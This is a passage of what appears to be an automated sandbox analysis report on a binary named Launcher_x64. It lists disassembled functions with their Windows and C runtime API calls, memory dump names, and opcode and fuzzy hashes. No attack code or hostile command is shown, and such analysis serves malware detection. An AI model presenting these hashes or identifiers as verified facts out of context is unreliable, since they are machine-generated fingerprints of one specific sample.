Instruction Fuzzy Hash: E851DD72640226BFEF219FA0EC81EBB7BA9EFA471CB194528FD04D6141EB34DD508674

Function 00D01890 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

GetFileSize.KERNEL32 ref: 00D01942
CloseHandle.KERNEL32 ref: 00D0195E

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: CloseFileHandleSize
String ID:
API String ID: 3849164406-0
Opcode ID: 42be21327a0a5c74ac7ec5dfa785c1521b9d48e6f2418f16775b72bb53d3b26d
Instruction ID: 70404eaed23b885386260762f211daf3b616366ed547e8b94eb05bee4214a340
Opcode Fuzzy Hash: 42be21327a0a5c74ac7ec5dfa785c1521b9d48e6f2418f16775b72bb53d3b26d
Instruction Fuzzy Hash: 0C719EB4D05248CFDB00EFA8D58879DBBF0BF48304F14852AE899AB391D734A945CF62

Function 00D15C7F Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,?,00D15C5C,?,00000000,?,00D0B93C,?,?,00D0D94E), ref: 00D15C93
AcquireSRWLockExclusive.KERNEL32(?,?,?,00D15C5C,?,00000000,?,00D0B93C,?,?,00D0D94E), ref: 00D15CB2
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,00D15C5C,?,00000000,?,00D0B93C,?,?,00D0D94E), ref: 00D15CE0
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,00D15C5C,?,00000000,?,00D0B93C,?,?,00D0D94E), ref: 00D15D3B
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,00D15C5C,?,00000000,?,00D0B93C,?,?,00D0D94E), ref: 00D15D52

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: be4f5f76c6600673f5e90b10474af0180d5d624034890ce13cdf471623fb29e8
Instruction ID: 2fe007ec2ae3b29919d6f1aa116782c170f3e5f779d7c66d72c429cc5533a3a9
Opcode Fuzzy Hash: be4f5f76c6600673f5e90b10474af0180d5d624034890ce13cdf471623fb29e8
Instruction Fuzzy Hash: 18412935500B06EBCB20DF65F488AEAB7F5FB85310B544A1AD446D7658DB38E9C1CB70

Function 00D12956 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D1295D
std::_Lockit::_Lockit.LIBCPMT ref: 00D12968
std::_Lockit::~_Lockit.LIBCPMT ref: 00D129D6

Part of subcall function 00D1285F: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00D12877

std::locale::_Setgloballocale.LIBCPMT ref: 00D12983
_Yarn.LIBCPMT ref: 00D12999

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: f14c2ab57d90c711de591b0ea83c426453b99cf7d8420bd6d91a8f1613fa77ad
Instruction ID: 76a489a8c026fec7fe1efccbbe83307c7f3a98cb3c21ae488df55c89ac1a9501
Opcode Fuzzy Hash: f14c2ab57d90c711de591b0ea83c426453b99cf7d8420bd6d91a8f1613fa77ad
Instruction Fuzzy Hash: 83017C79A40214AFCB06AF20E8429BD7B62FF85350B194008E81197391DF35AE92CFB5

Function 00D2DD31 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00D2DDCD,00000000,?,00D421B8,?,?,?,00D2DD04,00000004,InitializeCriticalSectionEx,00D3808C,00D38094), ref: 00D2DD3E
GetLastError.KERNEL32(?,00D2DDCD,00000000,?,00D421B8,?,?,?,00D2DD04,00000004,InitializeCriticalSectionEx,00D3808C,00D38094,00000000,?,00D22E6C), ref: 00D2DD48
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00D2DD70

Strings

api-ms-, xrefs: 00D2DD55

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 44e5ac9e205425dcefed4b7b1ea7d3c8b159f58776e3b261bc9e4b5d3173b01e
Instruction ID: cf411c10601e986497639e82e497d116099122be281abcf075aec81f74ba3b21
Opcode Fuzzy Hash: 44e5ac9e205425dcefed4b7b1ea7d3c8b159f58776e3b261bc9e4b5d3173b01e
Instruction Fuzzy Hash: ACE04F702C4B05BBEB202B61FC0AB693B57AF20B45F184470F90CE81E1E762A825DD74

Function 00D2B0D7 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00D2B13A

Part of subcall function 00D232D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D24A78,?,00000000,-00000008), ref: 00D23332

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D2B38C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00D2B3D2
GetLastError.KERNEL32 ref: 00D2B475

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 91efc4b3dc349f036759e78655448f343bff0943902e5ea2ff66c91b96fae4f7
Instruction ID: 0c8200099cb4d16fa262b94707e7af5a60e1da973d7b80af90394719c6045eb7
Opcode Fuzzy Hash: 91efc4b3dc349f036759e78655448f343bff0943902e5ea2ff66c91b96fae4f7
Instruction Fuzzy Hash: 2ED18DB5D00258DFCB05CFA8E8909ADBBB5FF59318F18412AE456EB352D770A942CF60

Function 00D2254D Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D22614
___AdjustPointer.LIBCMT ref: 00D22637
___AdjustPointer.LIBCMT ref: 00D226D3

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 37169549c7c5aa0f6cf29ecd41a60a588bce80b72d7210bf3fd30d84fbfd85d8
Instruction ID: e5e3a1b0967f8f95088b792858323ecb41f83be010375803340e090a0ee549c1
Opcode Fuzzy Hash: 37169549c7c5aa0f6cf29ecd41a60a588bce80b72d7210bf3fd30d84fbfd85d8
Instruction Fuzzy Hash: 3251F572504222BFDB248F14F841BBA73A5FF64719F184529F851872A1DB31ED94DBB0

Function 00D28F03 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00D232D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D24A78,?,00000000,-00000008), ref: 00D23332

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00D28F67
__dosmaperr.LIBCMT ref: 00D28F6E
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00D28FA8
__dosmaperr.LIBCMT ref: 00D28FAF

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 1c90443f78bdb872189eb8fbe34f563a4bf85e0364e26e584cb1ce7ae44292e7
Instruction ID: 84c9c3a8e16057573887fa0971a1fe60e7f2e816bb19d5465881b647f67841cf
Opcode Fuzzy Hash: 1c90443f78bdb872189eb8fbe34f563a4bf85e0364e26e584cb1ce7ae44292e7
Instruction Fuzzy Hash: 19210431205325BFDB10EF61F98086BB7AAFF243687048518F82987290DF30ED40ABB0

Function 00D197A2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a013f09fc2fa8644d2ab08403b7f9f86a0b062ac2a26ebecda1dd6ade13177c
Instruction ID: 6a55163133050529413693b7ee9cf764962d4ccec5a9553350c2c02c323ae4f9
Opcode Fuzzy Hash: 1a013f09fc2fa8644d2ab08403b7f9f86a0b062ac2a26ebecda1dd6ade13177c
Instruction Fuzzy Hash: 4A216F71204205BF9B10AF65A8B1DEAB7A9FF45364B144528F85697251EF30EC90CBB0

Function 00D2A2F9 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00D2A301

Part of subcall function 00D232D1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D24A78,?,00000000,-00000008), ref: 00D23332

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D2A339
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00D2A359

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 1dd1c951b3a2958643cff9fc107e81a264b36cad5565f05e624e0224d3e66eb1
Instruction ID: bd63b618c3b535bb1dcd6fd3c5957e130e0d34b04d949a7a2a4ce0f4e8052a90
Opcode Fuzzy Hash: 1dd1c951b3a2958643cff9fc107e81a264b36cad5565f05e624e0224d3e66eb1
Instruction Fuzzy Hash: 1A11A1B19053367FA71277F97C89C6F7A9CEF643AC3140124F401D1100FA28DE118576

Function 00D14399 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00D143A0
std::_Lockit::_Lockit.LIBCPMT ref: 00D143AA

Part of subcall function 00D04D90: std::_Lockit::_Lockit.LIBCPMT ref: 00D04DBE
Part of subcall function 00D04D90: std::_Lockit::~_Lockit.LIBCPMT ref: 00D04DE9

codecvt.LIBCPMT ref: 00D143E4
std::_Lockit::~_Lockit.LIBCPMT ref: 00D1441B

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 3ffe4eb0d84028237219adc892bac6fc0f81955bf8b3268a41265473ac276aac
Instruction ID: f945cd6f37ff4495ce8465d36ee8b8d5cefd69e773a097a0933bc13a6d962948
Opcode Fuzzy Hash: 3ffe4eb0d84028237219adc892bac6fc0f81955bf8b3268a41265473ac276aac
Instruction Fuzzy Hash: 6801A179900219ABCB05EB64F805BED7B61EF84724F244508F410A73D1CF709E80CBB0

Function 00D321E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00D316CF,00000000,00000001,?,?,?,00D2B4C9,?,00000000,00000000), ref: 00D321F7
GetLastError.KERNEL32(?,00D316CF,00000000,00000001,?,?,?,00D2B4C9,?,00000000,00000000,?,?,?,00D2AE0F,?), ref: 00D32203

Part of subcall function 00D32254: CloseHandle.KERNEL32(FFFFFFFE,00D32213,?,00D316CF,00000000,00000001,?,?,?,00D2B4C9,?,00000000,00000000,?,?), ref: 00D32264

___initconout.LIBCMT ref: 00D32213

Part of subcall function 00D32235: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00D321D1,00D316BC,?,?,00D2B4C9,?,00000000,00000000,?), ref: 00D32248

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00D316CF,00000000,00000001,?,?,?,00D2B4C9,?,00000000,00000000,?), ref: 00D32228

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f9f13d976561d17bf7d42ba22ad2bf1ad6dc44512de61e26377f7d0e21219566
Instruction ID: 7b6a2db611e65d82526a96c6f3fd5f12d89defa53f90b0387e07c3a5a4a79228
Opcode Fuzzy Hash: f9f13d976561d17bf7d42ba22ad2bf1ad6dc44512de61e26377f7d0e21219566
Instruction Fuzzy Hash: F4F01C3A400215BBCF222F91EC09AAA7F26FB093A1F054110FA18C5220C7728920EFB8

Function 00D17110 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00D17122
GetCurrentThreadId.KERNEL32 ref: 00D17131
GetCurrentProcessId.KERNEL32 ref: 00D1713A
QueryPerformanceCounter.KERNEL32(?), ref: 00D17147

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c27f80bb6f2cab2fd8ab1a092a2bf70921794c19c142f66447fd2c8101773303
Instruction ID: 3c949e7e007648ac5ef534950dae326d8d32433d89021921dba2622549929ba6
Opcode Fuzzy Hash: c27f80bb6f2cab2fd8ab1a092a2bf70921794c19c142f66447fd2c8101773303
Instruction Fuzzy Hash: 9DF05F74D1120DEBCB00DBB4DA8999EBBF5EF1C200B914996A412E7210E630AB44DF61

Function 00D08730 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 00D08890
_strcspn.LIBCMT ref: 00D088BE

Strings

@, xrefs: 00D08B89

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: 04a7ba87b1e7df78b3e1d97b2c647dbe7c85ea5d39be17f7aaaf40baf81e5118
Instruction ID: e8326018d1d9473a0fd6fdf1c772b1e66621cf0ea287dfa24a9357d628c3a0ff
Opcode Fuzzy Hash: 04a7ba87b1e7df78b3e1d97b2c647dbe7c85ea5d39be17f7aaaf40baf81e5118
Instruction Fuzzy Hash: CA32C4B49052698FDB14DF64C981B9DFBF1BF48300F0585AAE88DA7351D730AA85CFA1

Function 00D27AE3 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00D1D04D,?,?,?,00000055,?,-00000050,?,?,?), ref: 00D27BA2
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00D1D04D,?,?,?,00000055,?,-00000050,?,?), ref: 00D27BD9

Strings

utf8, xrefs: 00D27CAB

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 815f3c6d89176750f160a63a57c2a0c7ee81b9d5eac64e1de8f3afb5bdced2f8
Instruction ID: a684d1ddf9c2066c4642cdb529d538a93ebfd6ec67fe451723e648d8d367294d
Opcode Fuzzy Hash: 815f3c6d89176750f160a63a57c2a0c7ee81b9d5eac64e1de8f3afb5bdced2f8
Instruction Fuzzy Hash: 09511671A08321AADB35AB71EC42FBA73A8EF64708F180469FA45DB181FB70D940D775

Function 00D22C4A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00D22B4B,?,?,00000000,00000000,00000000,?), ref: 00D22C6F

Strings

RCC, xrefs: 00D22C89
MOC, xrefs: 00D22C81

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 085dbb4d49eb33809942be9a2e986f87e671d758556dd38fb71b11218ebb0e18
Instruction ID: 59674225448f26e6fe65cc4255fb2b84408fd8e463ce21aa2f9a658876acec4d
Opcode Fuzzy Hash: 085dbb4d49eb33809942be9a2e986f87e671d758556dd38fb71b11218ebb0e18
Instruction Fuzzy Hash: FE415B72900219BFCF15DF98ED81AEE7BB5FF68308F188099F90467221D3359961DBA1

Function 00D224B6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00D2272D

Strings

csm, xrefs: 00D2274F
csm, xrefs: 00D227C0

Memory Dump Source

Source File: 00000002.00000002.1729424893.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.1729401188.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729459773.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729487928.0000000000D3F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729503001.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729520518.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1729559061.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: ab442a48b86844931e46a82c5d08626745082cb09e4190d0b5adf3c61f8e3191
Instruction ID: 10cdc765b1db3b60bacc4045ddbd814b565e1eb8eeaab7d1dd4c98041baf4467
